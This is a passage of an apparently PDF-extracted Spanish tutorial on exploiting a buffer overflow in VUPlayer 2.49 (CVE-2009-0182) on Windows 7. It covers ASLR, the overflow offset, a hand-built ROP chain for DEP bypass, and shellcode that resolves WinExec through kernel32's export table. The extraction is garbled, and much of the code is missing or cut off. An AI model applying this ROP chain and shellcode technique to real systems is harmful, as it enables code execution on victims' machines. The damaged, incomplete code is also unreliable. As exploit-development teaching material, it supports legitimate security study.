Beruflich Dokumente
Kultur Dokumente
Autor:
Contacto:
Twitter:
Guillermo Campillo
pekeinfo[at]Gmail[dot]com
@PekeinfoPkaos
Contenido
Prerrequisitos ................................................................................................................................ 3
Introduccin .................................................................................................................................. 3
Preparando el camino. .............................................................................................................. 3
Instalacin de Immunity debugger ....................................................................................... 3
Instalando y configurando mona .......................................................................................... 3
Instalacin de VUPlayer ........................................................................................................ 3
Conociendo el camino ................................................................................................................... 4
Qu es ASLR? ........................................................................................................................... 4
Mtodos para evadir ASRL ........................................................................................................ 5
Explotando la vulnerabilidad ......................................................................................................... 5
Entendiendo el fallo .................................................................................................................. 5
Creando el esqueleto del exploit. ............................................................................................. 8
Evadiendo la proteccin DEP .................................................................................................... 8
Creando la Shellcode ................................................................................................................... 10
Objetivo ................................................................................................................................... 10
Obteniendo la Imagen Base de Kernell32 ............................................................................... 10
Buscando la Export Table Address .......................................................................................... 11
Buscando la Direccion de WinExec ......................................................................................... 12
Obteniendo La direccin Real de WinExec ............................................................................. 12
Haciendo uso de de WinExec ................................................................................................. 13
EXPLOIT ....................................................................................................................................... 13
Prerrequisitos
Programa: VUPlayer 2.49
CVE: CVE-2009-0182
Sistema: Windows 7 64
Herramientas:
Immunity debugger con complemento mona.
Dificultad: Se necesitan conocimientos previos
Introduccin
Preparando el camino.
Instalacin de Immunity debugger
Bueno lo primero es instalar el Immunity debugger. Este tambin nos instalara python en caso
de no tenerlo instalado. Tras terminar la instalacin de Immunity debugger,
Instalando y configurando mona
Instalaremos el complemento mona, que podemos descargar desde el proyecto oficial.
http://redmine.corelan.be/projects/mona
Para instalarlo basta con descargarlo y copiar el fichero mona.py en la carpeta del Imunity
debugger. Por defecto es: C:\Archivos de programa\Immunity Inc\Immunity Debugger\PyCommands
Posteriormente configuraremos nuestro entorno de trabajo. Iniciamos el Inmunity y en la barra
de comandos ponemos lo siguiente: !mona config -set workingfolder c:\logs\%p. Sin comillas.
Esto nos generara un espacio de trabajo donde almacenara toda la informacin referente al
programa
Instalacin de VUPlayer
Este programa no requiere ninguna instalacin especial.
Conociendo el camino
Qu es ASLR?
Son las siglas de Address space layout randomization, consiste en colocar determinadas partes
de un programa en diferentes direcciones de memoria, haciendo ms difcil la tarea de
explotacin de un programa por parte de un exploit, esta tcnica fue publicada en el 2001 en pax
(http://en.wikipedia.org/wiki/PaX), pero realmente hasta el 2005 no se habilito por defecto en el
kernel, en 2007 Windows lo incluyo en su sistema operativo Windows vista, aun que el sistema
que usa Windows de ASLR no es igual que el del resto de sistemas operativos, en Windows el
ASLR se aplica a las localizaciones de: heap, stack, PEB y TEB.
Esto se traduce en que ya no se puede predecir en qu posicin estar la direccin de la funcin
a la que queremos llamar, si nos fijamos en alguno de los tutoriales mos anteriores veremos que
muchas direcciones son colocadas a mano como por ejemplo la de VirtualProtect, pero con
ASLR esto no lo podemos realizar de esta forma, un ejemplo de cmo afecta ASLR a la
creacin de shellcode pondremos una shellcode sencilla
Este es el cdigo que usare, simplemente hace un msg con el ttulo pekeinfo y el texto pekeinfo
XOR EAX,EAX
PUSH EAX
PUSH 696E666F
PUSH 656B6570
MOV EBX,ESP
PUSH EAX
PUSH EBX
PUSH EBX
PUSH EAX
CALL 760EFD56
Ahora bien si reinicio la maquina e intento lanzar nuevamente mi shellcode pasa lo siguiente.
Explotando la vulnerabilidad
Entendiendo el fallo
El exploit en esta ocasin es un exploit de tipo buffer OverFlow .
El poc es bastante descriptivo, el programa falla cuando intenta leer una url de un fichero pls,
pues vamos a ver como es un fichero valido pls, abrimos un fichero de texto y ponemos una url
valida, ejemplo: http://miwebvalida.net guardamos el fichero y renombramos el fichero como
pls, ahora abrimos el programa y abrimos el fichero
Con esto sabemos el tamao que necesitamos para sobrescribir el ret, el tamao es de 1012,
ahora solo nos queda encontrar el RET donde falla, abrimos el immunitydbg y cargamos el
programa, para encontrar el RET yo suelo ejecutar con normalidad el programa y espero a que
haga crash
Bien cuando el immunitydbg pare por la excepcin simplemente nos fijamos en el stack
subimos y la primera direccin del programa que veamos le ponemos un BP
En mi caso yo use uno que hice a mano por diversin, este es el ROP:
rop =[
0x10015f82,
0x1060e25c,
0x1001eaf1,
0x10030950,
0x10605ce4,
0x100222c5,
0x10015f82,
0xfffffdff,
0x10014db4,
0x10032f72,
0x10015f82,
0xffffffc0,
0x10014db4,
0x10038a6d,
0x10601007,
0x101082d3,
0x100190b0,
0x1001dc05,
0x10015f82,
0x90909090,
0x1001d7a5,
]
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
Creando la Shellcode
Objetivo
Obtener la direccin de winexec mediante la obtencin de la ImagenBase de la librera kernell32
y buscando su direccin en la Export Table, esta tabla contiene todas las direcciones de las
funciones que exporta una dll, bueno como comentamos en la introduccin para obtener la
ImagenBase Kernell32 necesitamos acceder a la estructura PEB que es la que contiene dicha
informacin y para acceder a la estructura PEB tenemos que obtener su direccin de TIB, esta
est siempre en FS:[0x30]
Volviendo a la shellcode como nosotros sabemos de antemano que dll queremos nos vamos
directamente a esta
Tras esto en EDI est la direccin base de Kernel32.
Una de las cosas importantes ahora es no perder la direccin de kernel32, yo uso la tcnica de
bloquear un registro, esto no es nada recomendable, lo suyo es usar el stack y almacenar en el
stack las direccin de todas las dll y dems cosas que necesitemos pero para este ejemplo
sencillo no complicaremos ms y bloquearemos el registro
Para trabajar con l lo desplazamos a EAX
Recordar que en EDI tenemos la direccin base de Kernel32, para no perder dicha direccin la
moveremos a EAX
Como sabemos para obtener el inicio de la cabecera PE hay que sumar a la direccin base un
desplazamiento este desplazamiento se puede encontrar en la posicin 3c por tanto:
Inicio PE = imagen base + [imagen base + 0x3C]
Por tanto sumando a EAX 0x3C, el valor lo colocamos en otro registro, ECX
Ahora en ECX tenemos el desplazamiento solo hace falta sumar la imagen base y ya
tendramos en ECX la direccin de inicio de la cabecera PE
Ya tenemos la direccin de la cabecera PE. Pero lo que nosotros queremos es obtener la tabla
donde est el listado de direcciones de las API . Para ello usaremos la estructura de la Export
table, que est en PE+0x78 (este es el offset luego a ese offset hay que sumar el imagen base),
esto lo conseguimos sumando a ECX 0x78 movemos el valor al que apunta a EAX y le sumamos
la imagen base.
DWORD
DWORD
WORD
WORD
DWORD
DWORD
DWORD
DWORD
0x0
0x4
0x8
0xA
0xC
0x10
0x14
0x18
DWORD
DWORD
DWORD
AddressOfFunctions
AddressOfNames
AddressOfNameOrdinals
0x1C
0x20
0x24
Cuando termine todo el Loop en ECX estar el desplazamiento necesario para obtener la
direccin real de WinExec, como ltimo apunte cuando tengamos el desplazamiento ECX
valdr 0x4 ms de lo que tendra que valer, por lo que hay que hacer un
EAX
ECX
EDI
EXPLOIT
import struct
rop =[
0x10015f82,
0x1060e25c,